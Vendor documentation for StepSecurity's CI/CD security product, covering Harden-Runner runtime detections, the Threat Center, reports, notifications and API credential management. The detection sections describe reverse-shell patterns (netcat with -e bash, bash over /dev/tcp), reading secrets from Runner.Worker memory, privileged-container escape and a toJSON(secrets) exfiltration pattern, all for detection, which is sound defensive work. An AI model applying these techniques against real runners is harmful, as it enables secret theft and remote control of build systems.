**When it triggers:** A workflow contacts a domain or IP that StepSecurity's 24×7 SOC has identified as an indicator of compromise (IOC) and added to the [Global Block List](https://docs.stepsecurity.io/github/harden-runner#global-block-list). The call is blocked automatically, even in `audit` mode.

**Why it matters:** Anomalous-call detection needs a baseline; suspicious-call detection does not. As soon as StepSecurity confirms an IOC during an active investigation, every protected workflow gains protection without a config change or an action version bump. The [pgserve npm compromise](https://www.stepsecurity.io/blog/pgserve-compromised-on-npm-malicious-versions-harvest-credentials) was blocked this way in real time. Allowlisting an IOC in your own policy does not override the Global Block List, so a compromised action cannot grant itself access to known-malicious infrastructure.

<figure><img src="/files/UZcbRU5Rnxllmz3sOzh4" alt=""><figcaption></figcaption></figure>

### **HTTPS Outbound Network Calls**

**When it triggers:** Every HTTPS request a workflow makes is logged with its HTTP method, host, and path. Unlike the other detections on this page, this surface is populated continuously rather than triggered by an anomaly.

**Why it matters:** Network-layer logs only show that the runner contacted `api.github.com`. HTTPS-level visibility shows *what* it did there: which APIs were called, which repos were touched, which content was uploaded. That is what surfaces abuse of `GITHUB_TOKEN` itself, for example a compromised action creating issues, pushing branches, or copying repository content to an attacker-controlled fork. It is also the data Harden-Runner uses to recommend minimum `GITHUB_TOKEN` permissions for each job.

<figure><img src="/files/jh9eiMDLvPnbiG2Ty9eN" alt=""><figcaption></figcaption></figure>

### **Source Code Overwritten**

**When it triggers:** A file inside the checked-out source tree is modified during the build. Harden-Runner records the modifying executable and the syscall details, using the Linux Audit Framework on Ubuntu runners.

**Why it matters:** Source-code tampering during the build is the SolarWinds and XZ Utils attack class: a backdoor is injected at compile time so the source on disk and the binary that ships no longer match. Branch protection, code review, and code signing all run before or after the build, so none of them can catch this. File-write monitoring is what closes that gap. Infrastructure-as-code files (Terraform, Kubernetes manifests, and so on) are monitored alongside application source for the same reason.

<figure><img src="/files/c3nikDorPCfqX4RQm6Eu" alt=""><figcaption></figcaption></figure>

### **Action Uses Imposter Commit**

**When it triggers:** A workflow references a GitHub Action by a tag or commit SHA that does not exist on the action repository's default branch. The pinned commit lives outside the action's normal release history, often in a fork.

**Why it matters:** Updating a tag to point at a commit outside the default branch is a known supply-chain attack pattern, used in the tj-actions and reviewdog incidents. Because the malicious commit never lands on the default branch, it bypasses PR review entirely, which is what makes the attack easy to miss. Some legitimate actions also trigger this signal: projects that build release artifacts on a short-lived branch and then delete it after tagging produce the same warning sign without anything malicious happening. Triage each detection before treating it as an attack.

<figure><img src="/files/cn8kdJrH5z8YzmLNpFB8" alt=""><figcaption></figcaption></figure>

### **Suspicious Process Events**

Harden-Runner monitors process activity on the runner and flags behaviors that match known supply-chain attack techniques. Three subtypes are surfaced today: **Privileged Container**, **Reverse Shell**, and **Runner.Worker Memory Read**. Each is a high-confidence signal, and each can be configured to terminate the affected job automatically via [Lockdown Mode](/github-actions/harden-runner/policy-store#lockdown-mode).

#### **Privileged Container**

**When it triggers:** A workflow launches a privileged container, for example via `docker run --privileged`, by mounting the host filesystem into a container, or by starting a container directly through the Docker or containerd socket.

**Why it matters:** Privileged containers can break out of container isolation and gain root on the runner host.

#### **Reverse Shell**

**When it triggers:** A process spawned during the workflow combines a shell with an outbound network connection in a way that suggests an interactive shell is being proxied to a remote host. Two patterns are flagged: a `nc`, `ncat`, or `netcat` invocation that pairs `-e` with `bash` or `/bin/bash`, and a `bash` or `sh` invocation whose arguments reference `/dev/tcp/<host>/<port>` where the host is not a loopback address.

**Why it matters:** A reverse shell gives an attacker live, interactive control of the runner. From that position they can read the workflow's environment (including `GITHUB_TOKEN` and injected secrets), exfiltrate source code and build artifacts, and pivot to other systems reachable from the runner.

#### **Runner.Worker Memory Read**

**When it triggers:** Another process on the runner reads the memory of the GitHub Actions `Runner.Worker` process, typically via `/proc/<pid>/mem` or `ptrace` on Linux, or `ReadProcessMemory` on Windows.

**Why it matters:** GitHub Actions secrets are decrypted into the `Runner.Worker` process at job runtime. Anything that can read that memory can extract those secrets in plaintext, regardless of how they are masked in logs. This is the technique used in the [tj-actions/changed-files compromise](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised) (CVE-2025-30066). Legitimate workflows have no reason to read this memory, so the signal has a very low false-positive rate.

<figure><img src="/files/BRkfQj0f2R8kqXRFgv6J" alt=""><figcaption></figcaption></figure>

### **Agent Tampered**

Detects when the Harden-Runner agent has been tampered with during workflow execution.

<figure><img src="/files/fR1eufYvSk13GqeJpcQx" alt=""><figcaption></figcaption></figure>

### **Secret Exfiltration Attempt**

**When it triggers:** Harden-Runner analyzes each workflow run as its webhook is received and flags runs that show indicators of an attempt to exfiltrate repository secrets. Indicators include a workflow name and structure matching a known attack pattern, a `toJSON(secrets)` pattern in the workflow that dumps all repository secrets, a commit message matching the attack's known pattern, and an exfiltration artifact written by the run. A detection is raised when these indicators appear together in a single run.

**Why it matters:** A common GitHub Actions attack injects a malicious workflow that reads every repository secret with `toJSON(secrets)` and writes them to an artifact or sends them to an external destination. Because the workflow runs with access to the repository's secrets, a single successful run can leak credentials for every connected system. Detecting the attempt at the point the run executes lets you rotate the exposed secrets before they are retrieved.

**Confidence:** Each detection is assigned a confidence level. After the run completes, Harden-Runner performs an additional check: if the workflow run, the branch, or the workflow file is deleted shortly after running, confidence is raised to **High**, since deleting evidence of the run is itself a strong indicator of an exploitation attempt. Runs that match the indicators but show no such cleanup are reported at **Low** confidence.

<figure><img src="/files/FPBqpaUof9Rt0OdvXgrE" alt=""><figcaption></figcaption></figure>

## **How to Suppress a Detection**

Suppressing a detection hides it from your active list without marking it as fixed. Use suppression when the detection is a false positive, not relevant, or represents an acceptable risk. Suppressed detections remain available under the “Suppressed” tab for future review, and can be unsuppressed if needed

**Step 1:** Click the three dots next to the item you want to suppress, then select “Suppress Detection.”

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/32f8a06f-4c9e-42b3-ba5b-0682c6f3cd92/ascreenshot.jpeg?tl_px=272,36\&br_px=3024,1575\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=990,277)

**Step 2:** Select a reason for suppressing the detection.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/466fe23f-a442-4a61-ab86-f024c8f7a04f/ascreenshot.jpeg?tl_px=0,0\&br_px=2752,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=411,223)

**Step 3:** Click "Suppress"

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/1ff4f313-6454-46d0-aafb-fbba803fb65b/ascreenshot.jpeg?tl_px=272,183\&br_px=3024,1722\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=647,416)

**Step 4:** Go to the “Suppressed” tab to view all suppressed detections

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/171443e1-a78e-4aab-8876-627e98c40fc0/ascreenshot.jpeg?tl_px=272,158\&br_px=3024,1697\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=563,276)

## **How to Resolve a Detection**

Resolving a detection indicates that you have addressed the underlying issue. Use this option after taking corrective action, such as updating a workflow, fixing a configuration, or applying a patch. Resolved detections move out of the active list but remain in the system for audit and traceability.

**Step 1:** Click the three dots next to the item you want to resolve, then select “Resolve Detection.”

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/485b22e7-d530-457d-9e16-5231ddbae91b/ascreenshot.jpeg?tl_px=272,0\&br_px=3024,1538\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=1026,262)

**Step 2:** Give a reason for resolving the detection.

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/afa345e8-7d78-4296-8952-216b8b483bee/ascreenshot.jpeg?tl_px=0,31\&br_px=3024,1721\&force_format=jpeg\&q=100\&width=1120.0)

**Step 3:** Click "Resolve"

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/5bcedbc0-fbfd-4c90-8eeb-b5587a33b466/ascreenshot.jpeg?tl_px=272,183\&br_px=3024,1722\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=661,327)

**Step 4:** Go to the “Resolved” tab to view all resolved detections

![](https://ajeuwbhvhr.cloudimg.io/https://colony-recorder.s3.amazonaws.com/files/2025-09-28/38711e43-a49f-407d-a292-5f4e6ddebb15/ascreenshot.jpeg?tl_px=272,180\&br_px=3024,1719\&force_format=jpeg\&q=100\&width=1120.0\&wat=1\&wat_opacity=1\&wat_gravity=northwest\&wat_url=https://colony-recorder.s3.amazonaws.com/images/watermarks/8B5CF6_standard.png\&wat_pad=825,276)

## **Real-Time Security Alerts**

StepSecurity delivers real-time alerts for runtime detections, ensuring you stay informed about potential security threats as they happen.

To minimize alert fatigue, notifications are sent only once per event, covering all repositories in your GitHub organization. This approach maintains visibility into security events without overwhelming your team.

Follow the instructions in [Notification Settings](/workspace/settings/notifications) to configure your alerts.


# Threat Center

{% hint style="warning" %}
Available for **Enterprise** Tier only
{% endhint %}

The Threat Center in StepSecurity is your central view into all supply chain compromises detected by StepSecurity. It provides a real-time feed of active incidents alongside historical records, making it easier to track, investigate, and respond.

For background on the intelligence powering the Threat Center, [see our blog post](https://www.stepsecurity.io/blog/introducing-stepsecurity-threat-intelligence-real-time-supply-chain-attack-alerts-for-your-siem).

### Accessing the Threat Center

#### Step 1: Open the StepSecurity Dashboard

* From the left-hand menu, click Threat Center. The page displays a list of active threats, marked with a red Active badge, along with historical incidents that include their start and close times.

<figure><img src="/files/Y2clQXLpXc0JZDWiYUL6" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
You can also open the Threat Center directly by clicking the 🔔 New Threat notification in the dashboard header
{% endhint %}

#### Step 2: Expand Threat Details

* Click Show Details on any incident to see:
  * A description of the compromise
  * Affected packages or Actions
  * Recommended remediation steps you can take directly within StepSecurity

<figure><img src="/files/4rhQhHb7EUuzNWukRHF1" alt=""><figcaption></figcaption></figure>

### Notifications and Integrations

Every new entry in the Threat Center automatically triggers notifications through your existing StepSecurity channels:

* Slack
* Email
* AWS S3
* Webhook

This ensures your team is informed immediately.

Because alerts are integrated with your existing systems, you can automate the response process. For example, you can configure your SIEM so that when a new Threat Center event is raised, an on-call engineer is automatically paged.

See an example detection event [here](/administration/admin-console/integrations/sample-detection-events#threat-intelligence)

### Querying Compromised Components via API

In addition to the dashboard view, you can retrieve the compromised Open Source Software (OSS) components for a specific incident programmatically through the StepSecurity API. This is useful for feeding incident data into your own tooling, automating triage, or correlating compromised packages against your dependency inventory.

The endpoint returns all compromised components tied to an incident, including the package ecosystem, affected version, severity, verification status, and a description of the threat.

```
GET /github/{owner}/threat-intel/incidents/{incidentId}/compromised-components
```

The request takes your GitHub organization (`owner`) and the unique incident identifier (`incidentId`) as path parameters, and requires a valid StepSecurity API token.

<figure><img src="/files/zn9yQm2VgCuR4s6ds9L3" alt=""><figcaption></figcaption></figure>

**Example Response**

```json
{
  "compromised_components": [
    {
      "type": "npm",
      "component_name": "malicious-pkg",
      "version": "1.2.3",
      "incident_group_id": "ig-001",
      "description": "Package contains malicious code that exfiltrates credentials",
      "severity": "critical",
      "verified": true,
      "added_at": "2024-01-15T10:00:00Z",
      "threat_intel_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479"
    }
  ]
}
```


# Reports

The **Reports** section provides visibility into your organization’s GitHub Actions security posture.

From here, you can review monitoring coverage, governance insights, and export security assessments for compliance or audit purposes

### Available Reports

#### Harden Runner

View Harden-Runner coverage across repositories and workflows, including monitored vs unmonitored runs.

#### Actions Governance

Understand how GitHub Actions are being used across the organization, including action usage, policy enforcement, and governance risks.

#### Export to PDF

Generate a comprehensive GitHub Actions security report that can be shared with security teams, leadership, or auditors.


# Harden-Runner

The Harden-Runner Reports page provides visibility into how widely Harden-Runner is being applied across your GitHub organization.

It helps security and DevOps teams answer questions like:

* How many workflow runs are protected?
* Which repositories are still unmonitored?
* How has coverage changed over time?
* Where should rollout efforts focus next?

<figure><img src="/files/6qtRCcm8KId6vVytpyDc" alt=""><figcaption></figcaption></figure>

### Organization Coverage

This section shows how many workflow runs are currently monitored by Harden-Runner.

It includes:

* Coverage percentage
* Monitored runs
* Unmonitored runs
* Total runs

### Coverage History

The Coverage History chart tracks monitoring coverage over time for the selected period.

Use this view to understand adoption trends across the organization.

### Repository Coverage

The Repositories table provides per-repository coverage information.

For each repository, you can see:

* Monitored runs
* Unmonitored runs
* Total runs
* Coverage %

Repositories can be expanded to view workflow-level details.


# Actions Governance

The Actions Governance report provides organization-wide visibility into the GitHub Actions used across your repositories.

It helps security teams and engineering leaders:

* Understand which actions are being used across workflows
* Identify risky or low-trust third-party dependencies
* Track action adoption trends over time
* Measure overall security posture using scoring and coverage metrics
* Monitor adoption of StepSecurity-maintained secure alternatives

This report is designed to support CI/CD governance and reduce exposure to supply chain threats.

## Report Overview

The Actions Governance report is organized into multiple sections that summarize:

* Total actions in use
* Risky action exposure
* Security score trends
* Usage-weighted posture
* StepSecurity-maintained adoption and coverage

Each widget provides actionable insight into the supply chain risk of workflow dependencies.

### Total Actions in Use

The Total Actions in Use widget shows the number of unique GitHub Actions currently referenced across your repositories.

#### Metrics Displayed

* Total Actions: Unique actions used across the organization
* Risky Actions: Actions with low security scores
* Standard Actions: Actions meeting acceptable security thresholds
* StepSecurity-Maintained Actions: Verified actions maintained by StepSecurity

This section helps answer how many third-party workflow dependencies does the organization rely on today?

### Actions Count History

The Actions Count History chart tracks how the number of actions used in workflows changes over time.

#### What It Shows

* Growth in action adoption
* Spikes that may indicate new dependencies introduced
* Trends in CI/CD expansion

This is useful for detecting sudden increases in external workflow dependencies.

### Risky Actions

The Risky Actions widget highlights actions with a security score ≤ 6.

These actions may introduce elevated supply chain risk due to:

* Unpinned versions
* Unverified publishers
* Abandoned maintenance
* Known vulnerabilities
* Excessive permissions

This widget helps prioritize which actions should be reviewed or replaced first.

### Risky Actions History

The Risky Actions History chart shows how risky actions change over time.

#### Why It Matters

Tracking risky action growth helps teams answer:

* Are we reducing exposure over time?
* Are risky actions being introduced faster than they are remediated?

A sharp increase may signal governance gaps or unsecured workflow growth.

<figure><img src="/files/5OT7ebFiCazgMf4cZmY6" alt=""><figcaption></figcaption></figure>

### Average Security Score

The Average Security Score widget represents the average security score across all unique actions in use.

A higher score indicates stronger workflow dependency hygiene.

### Score History

The Score History chart tracks how the organization’s average action security posture changes over time.

#### Use Cases

This chart helps identify:

* Whether posture is improving
* Whether newly introduced actions reduce security
* Whether remediation efforts have measurable impact

Even small declines can indicate new risky dependencies.

### Weighted Average Score

The Weighted Average Score represents the action security score weighted by frequency of usage.

A strong weighted score suggests the most frequently used actions tend to be secure.

### Weighted Score History

The Weighted Score History chart shows how weighted posture changes over time.

#### Why It Matters

This view is especially important when:

* A widely used action becomes risky
* High-impact dependencies are introduced
* Secure alternatives replace common actions

<figure><img src="/files/wOtQeHzvZvIR2bgENk7H" alt=""><figcaption></figcaption></figure>

### StepSecurity-Maintained Actions in Use

This widget shows how many StepSecurity-maintained secure alternatives are actively adopted across workflows.

StepSecurity provides hardened, security-reviewed replacements for commonly used third-party actions.

Adopting these reduces exposure to:

* Action repository takeover
* Unknown maintainers
* Compromised upstream dependencies

### Adoption History

The Adoption History chart tracks changes in StepSecurity-maintained action adoption over time.

#### What It Shows

* Whether teams are migrating toward secure alternatives
* Adoption progress across repositories
* Long-term supply chain posture improvement

### StepSecurity-Maintained Action Coverage

Coverage represents the percentage of security-relevant workflow action usage protected by StepSecurity-maintained actions.

Higher coverage means:

* More workflows rely on verified secure actions
* Less exposure to third-party supply chain risk
* Stronger standardization and governance

### Coverage History

The Coverage History chart tracks improvement or regression in coverage over time. This helps teams measure whether governance policies are driving secure adoption.

<figure><img src="/files/e0mQ4u4gee4QqNxz5ev4" alt=""><figcaption></figcaption></figure>


# Export to PDF

The **Export to PDF** feature allows you to generate a comprehensive GitHub Actions security report for your organization or tenant. This report provides a point-in-time risk assessment of your CI/CD environment, including workflows, actions, and Harden-Runner coverage.

Use **Export to PDF** to:

* Generate a shareable GitHub Actions risk assessment for audits, leadership reviews, or compliance purposes.
* Capture Harden-Runner coverage and security posture at a specific point in time.
* Download a consolidated security report that summarizes your GitHub Actions exposure and protections.

To generate a report, navigate to **Reports → Export to PDF** and click **Generate PDF Report**.

<figure><img src="/files/4xY6ZwMoWMKI9CmVIlXX" alt=""><figcaption></figcaption></figure>

This is a sample of what the report should look like:

<figure><img src="/files/b0HpMESBBlBYYxPH4mql" alt=""><figcaption></figcaption></figure>


# Settings

The Settings page lets you configure your StepSecurity environment. From here you can manage notifications, obtain your API key, and choose which repositories are included in control evaluation.


# Notifications

The notification settings in StepSecurity allow you to receive alerts about critical security events via email, Slack, or Microsoft Teams. These notifications help you stay informed about potential security risks in your workflows.

### Configuring Notifications

<figure><img src="/files/U6s3xf5LDfhtbDjj4V9O" alt=""><figcaption></figcaption></figure>

You can customize notification settings by specifying:

#### **Notification Channels**

In StepSecurity we support two integrations for notifications:

**Slack**

You can set up Slack notifications in one of two ways:

1. Webhook URL:

   Provide your Slack webhook URL. [Follow these instructions](https://docs.slack.dev/messaging/sending-messages-using-incoming-webhooks/) to create a Slack webhook.
2. OAuth App:

   Configure the Slack App in your Admin Settings to enable OAuth-based notifications.

**Follow this interactive demo to see how to setup Slack OAuth App:**

{% embed url="<https://app.storylane.io/share/ujnclquz72xw>" %}

**Microsoft Teams**

To integrate with Microsoft Teams, add a Teams webhook URL. [Follow these instructions](https://learn.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook?tabs=newteams%2Cdotnet) to create a Teams webhook.

### **Notification Events**

Select the security events you want to be notified about. Events are grouped below by the product area that raises them.

{% hint style="info" %}
Only one notification is sent per workflow for a given event. If the same workflow raises the same event again, no new notification is sent.
{% endhint %}

#### **Harden-Runner runtime detections**

These events fire when Harden-Runner detects suspicious behavior during a workflow run. Each one corresponds to a detection type described in Detections.

* Outbound traffic is blocked
* Anomalous outbound call is discovered
* Anomalous HTTPS outbound call is discovered
* Source code file is overwritten
* Secrets are detected in the build log
* Secrets are detected in the build artifacts
* Imposter commits are detected
* A secret exfiltration attempt is detected
* Suspicious network calls are detected
* Suspicious process events are detected
* Non-compliant artifacts are detected

#### **GitHub Checks results**

These events fire when a StepSecurity check fails on a pull request. See GitHub Checks for the difference between the three check types.

* Baseline check failures are detected, for the Harden-Runner Baseline Check
* Required check failures are detected, for StepSecurity Required Checks, which block merges on failure
* Optional check failures are detected, for StepSecurity Optional Checks, which are advisory only

#### **Workflow run policies**

* A run policy is blocked, when a workflow run is blocked by a policy. See Workflow Run Policies.

#### **Threat intelligence**

* StepSecurity threat intel flags a compromised component

Threat intel notifications cover the incidents surfaced in the Threat Center. When you enable this event, the current granularity setting appears beneath it. Click it to open the **Threat intel notifications** dialog and choose when your organization is notified:

<figure><img src="/files/3Px96k0nYjNcj4RrdE9y" alt=""><figcaption></figcaption></figure>

| Option                         | Behavior                                                                                                  |
| ------------------------------ | --------------------------------------------------------------------------------------------------------- |
| **All threat intel incidents** | Notify about every threat intel incident, whether or not your organization is affected.                   |
| **Affected packages**          | Notify only when your organization is affected by a compromised package, matched by name, at any version. |
| **Exact version only**         | Notify only when your organization uses the exact compromised version.                                    |

Choose **All threat intel incidents** if your security team tracks ecosystem-wide threats regardless of exposure. Choose **Affected packages** or **Exact version only** to narrow alerts to incidents that touch your own dependencies, with **Exact version only** producing the smallest set of alerts.

Click **Done** to confirm your selection.

#### **File Exclusions**

If there are specific files you do not want to trigger notifications (e.g., README.md, package-lock.json), you can list them in the Exempt Files text box. Wildcards (e.g., \*.md) are supported.

### Saving Your Preferences

* Once you’ve configured the notification settings, click Save to apply your changes.


# StepSecurity API (Org Access)

{% hint style="info" %}
In our platform, different organizations are grouped under a single tenant. This page describes API access for an individual organization. For access that applies to managing all organizations under your tenant, refer to [this page](/administration/admin-console/integrations/stepsecurity-api-tenant-access)
{% endhint %}

The StepSecurity API page at the organization level is where you manage credentials, federation, and API reference for calling the StepSecurity API against a specific organization. It is available under Settings > StepSecurity API in the left navigation, with three tabs:

* API keys, for managing administrative and fine-grained API keys
* OIDC (OpenID Connect) federation, for letting GitHub Actions workflows mint short-lived API tokens without a stored secret
* API reference, an interactive browser for the StepSecurity API endpoints

## API keys

Three kinds of API credentials are available at the organization level:

* Organization API Key, a single administrative key for organization-level operations
* Tenant API Key, a single administrative key that also works for tenant-level operations
* Organization fine-grained API keys, scoped service credentials bound to this organization

Organization and Tenant API keys are administrative and broad. Fine-grained keys are the recommended option for service-to-service automation, because you can scope them to only the permissions and lifetime each integration needs.

<figure><img src="/files/4czOrJWYeOMPpupEsNBx" alt=""><figcaption></figcaption></figure>

### Organization API Key

The Organization API Key is an administrative API key for organization-level operations. All organization-level APIs work with this key.

You can hold a Primary and a Secondary key at the same time and rotate between them. Use the Rotate button to mint a new value for the selected key. The Last rotated timestamp under each key shows when it was last regenerated.

This key is broad. Prefer a fine-grained API key for anything other than administrative use.

### Tenant API Key

The Tenant API Key is an administrative API key for tenant- and organization-level operations. All tenant-level and organization-level APIs work with this key, so it is broader than the Organization API Key.

The Tenant API Key is managed at the tenant level. For details on creating, rotating, and revoking it, see the tenant StepSecurity API page. It is surfaced here for reference and quick rotation.

### Organization fine-grained API keys

{% hint style="info" %}
Notifications will be sent when your fine-grained API keys are about to expire
{% endhint %}

Fine-grained API keys are long-lived service credentials bound to this organization. They are the recommended way to authenticate backend automation, CI integrations, and any other service that calls the StepSecurity API on behalf of this organization.

Each key has the following properties:

* Scoped to a single organization. The key only authenticates on `/v1/github/<organization>/*` routes and cannot be used against any other organization
* Fine-grained permissions, scoped to exactly what the integration needs
* Configurable expiration, up to 1 year
* Shown only once at creation

#### **Creating a fine-grained API key**

* On the API keys tab, in the Organization fine-grained API keys section, click New key. If you have not created any keys yet, click Create your first key

<figure><img src="/files/HOV2jgR66Nhib9hNX5jl" alt=""><figcaption></figcaption></figure>

* Enter a Name. The name is required, helps you identify the key later, and cannot be changed after creation
* Choose an Expiration: 7 days, 30 days, 90 days, or 1 year. You can also enter a Custom (days) value. The Expires at timestamp updates to reflect your choice
* Select Permissions. Expand each category to pick specific permissions, or use the bulk controls on a category header (No access, Grant read, Clear) to set every permission in that category at once. Categories include Harden Runner, GitHub Checks, Orchestrate Security, Workflow Run Policies, Actions, Reports, Settings, and others depending on what your tenant has enabled. Each permission can be set to No access, Read-only, or Read & write
* Click Create key

<figure><img src="/files/YabhVcaDo1YxFqpxBFv6" alt=""><figcaption></figcaption></figure>

* Copy the raw key from the confirmation screen and store it somewhere safe

The raw key is shown only once, immediately after creation. If you close the screen without copying it, you will need to create a new key.

You can only grant permissions you already have. Keys cannot escalate beyond your effective access.

**Settings permissions**

The Settings category grants access to the pages under Settings in the organization navigation. It contains four permissions:

| Permission            | Slug            | Grants access to                                                                                                                                   |
| --------------------- | --------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| Notifications         | `notifications` | Org-level notification routing and channel configuration                                                                                           |
| API Rate Limits       | `rate-limits`   | GitHub API rate-limit consumption observability (customer aggregate and per-owner views)                                                           |
| Organization API Keys | `api-keys`      | Organization-level StepSecurity API keys: the telemetry API key and the self-hosted runner VM API key. Read fetches key values, write rotates them |
| Control Evaluation    | `controls`      | Workflow security controls: summaries, exemptions, suppression, and control settings                                                               |

API Rate Limits is observability data, so it supports No access and Read-only but not Read & write.

<figure><img src="/files/mGJ5QC13UHsaBiCdygYR" alt=""><figcaption></figcaption></figure>

#### **Rotating and revoking**

Keys cannot be extended. To rotate, revoke the existing key and create a new one with the duration and permissions you need. Revocation takes effect immediately, and any service still using the old key will start receiving authentication errors on the next request.

To revoke a key, find it in the Organization fine-grained API keys list and remove it.

## OIDC federation

OIDC federation lets GitHub Actions workflows under your organization mint short-lived StepSecurity API tokens by exchanging their GitHub OIDC token, without storing a long-lived API key as a secret.

A trust policy is the rule that decides which workflow runs are allowed to exchange their OIDC token, and what permissions the minted StepSecurity token gets. You add one or more policies on the OIDC federation tab.

<figure><img src="/files/hIvOvVWjwHLFMBn63UMy" alt=""><figcaption></figcaption></figure>

### How GitHub Actions uses the federation

Workflows must request a specific audience when minting their OIDC token, or the exchange will fail with audience-mismatch. The required audience is shown on the OIDC federation tab and follows this pattern:

```
<organization>.api.stepsecurity.io
```

For example, an organization named acme-corp would use `acme-corp.api.stepsecurity.io`.

The OIDC federation tab includes a Show ready-to-paste workflow snippet expandable that contains a complete GitHub Actions example. Copy this into your workflow as a starting point.

### Creating an OIDC trust policy

* On the OIDC federation tab, click New policy. If you have not created any policies yet, click Create your first policy
* Enter a Name. The name must be unique within this scope
* (Optional) Add a Description to explain what the policy is for
* Fill in the Required claims. Every non-empty field must equal the corresponding JWT (JSON Web Token) claim from the GitHub OIDC token. Empty fields are wildcards. At least one of Repo owner or Repository is required:
  * Repo owner (`repository_owner`). Locked to the current organization for org-scope policies
  * Repository (`repository`), for example `acme-corp/infra`
  * Workflow ref (`job_workflow_ref`), for example `acme-corp/infra/.github/workflows/deploy.yml@refs/heads/main`
  * Ref, for example `refs/heads/main`
  * Environment, for example `production`

<figure><img src="/files/QoB9fLcaUAVUW6ZtHo40" alt=""><figcaption></figcaption></figure>

* Set Max session duration. This caps the lifetime of tokens minted through this policy. The maximum allowed is 1 hour (3600 seconds). Set to 0 to use the server default
* Select Permissions. This is an allowlist applied to tokens minted through this policy and must be a subset of your effective permissions. Use Read all as a shortcut, or expand each category to pick specific permissions
* Click Create policy

<figure><img src="/files/5q5JBFhJQvBXDZkmqrrU" alt=""><figcaption></figcaption></figure>

### Designing claim rules

Keep policies as narrow as the workload you are authorizing. A few patterns:

* For a deploy workflow that should only run from main on a specific repo, fill in Repository, Workflow ref, and Ref. Leave Environment empty unless you want to require it
* For a policy that covers multiple repos under the same owner, fill in Repo owner and leave Repository empty
* Prefer Workflow ref over Ref when you want to pin to a specific workflow file, because Workflow ref includes the file path

Empty fields act as wildcards, so an empty policy with only Repo owner set would match every workflow in the org. Add at least one more claim in production.

## API reference

The API reference tab is an interactive browser for the StepSecurity API, rendered from the OpenAPI specification.

You can:

* Browse endpoints grouped by feature area (Overview, Harden Runner, and others)
* Download the raw OpenAPI specification using the Download OpenAPI Spec button, for use in code generators, Postman, or other tooling
* Try requests directly from the browser by clicking Authorize and pasting a valid token

The production server is `https://agent.api.stepsecurity.io/v1`.

<figure><img src="/files/41hBDK7BMk7dZPZtd9Lb" alt=""><figcaption></figcaption></figure>

### Authorizing in-browser requests

Click Authorize, paste a token, and you can call endpoints directly from the reference. Any of the following token types will work, as long as they have the permissions the endpoint requires:

* A short-lived per-user token from the personal access tokens page
* A fine-grained API key from the API keys tab
* An Organization or Tenant API key

For exploratory or interactive use, a short-lived token is recommended.

## Choosing the right credential

Use this rule of thumb:

* Short-lived token, for interactive work from your own machine: MCP (Model Context Protocol) clients, scripts, CLIs, debugging. Max 12 hours, tied to your user
* OIDC federation, for GitHub Actions workflows that need to call the StepSecurity API. No stored secret, tokens are minted on demand
* Fine-grained API key, for service-to-service automation outside GitHub Actions that needs to outlive 12 hours. Up to 1 year, scoped to one organization
* Organization or Tenant API Key, only for administrative operations that need broad access. Rotate them on a schedule

## Security best practices

* Prefer OIDC federation over any stored API key when calling from GitHub Actions
* Prefer fine-grained keys over the Organization or Tenant API Key for everything else
* Pick the shortest expiration that fits the integration
* Grant only the permissions the integration actually needs. Avoid Read & write all unless required
* Store raw keys in a secure credential store (secret manager, CI secret). Do not commit them to source control
* Rotate keys before they expire to avoid downtime. Treat any key that may have been exposed as compromised and revoke it immediately
* Keep OIDC trust policies narrow. Pin Repository, Workflow ref, and Ref whenever possible


# Control Evaluation

The Control Evaluation setting in StepSecurity allows you to manage which repositories are included in security evaluations.

By selecting specific repositories, you can ensure that only those will be reflected in your overview dashboard.

**To enable or modify control evaluation settings:**

* Navigate to the StepSecurity Dashboard.
* Open the sidebar and go to Settings > Control Evaluation.
* Specify the Actions you want to exempt from pinning control.
* Use the checkboxes to select or deselect repositories for evaluation.
* Click Save to apply your changes.

<figure><img src="/files/x6icYl6NnW5JoQ6wJWDi" alt=""><figcaption></figcaption></figure>


# Harden-Runner

Corporate laptops and production servers have strong security monitoring for compliance and risk reduction. However, CI/CD runners, which handle sensitive data like cloud secrets and production builds, often lack such protections, making them targets for supply chain attacks like SolarWinds and Codecov.

Traditional security tools struggle with CI/CD runners due to their short-lived nature and lack of workflow context.

Harden-Runner fills this gap by providing tailored security monitoring, ensuring CI/CD runners receive the same protection as other critical systems.

**Community Tier Availability**

* **Public repositories only:** The Community Tier does not support private repositories. To enable Harden-Runner on private repositories, upgrade to the Enterprise Tier, which includes a 14-day free trial.

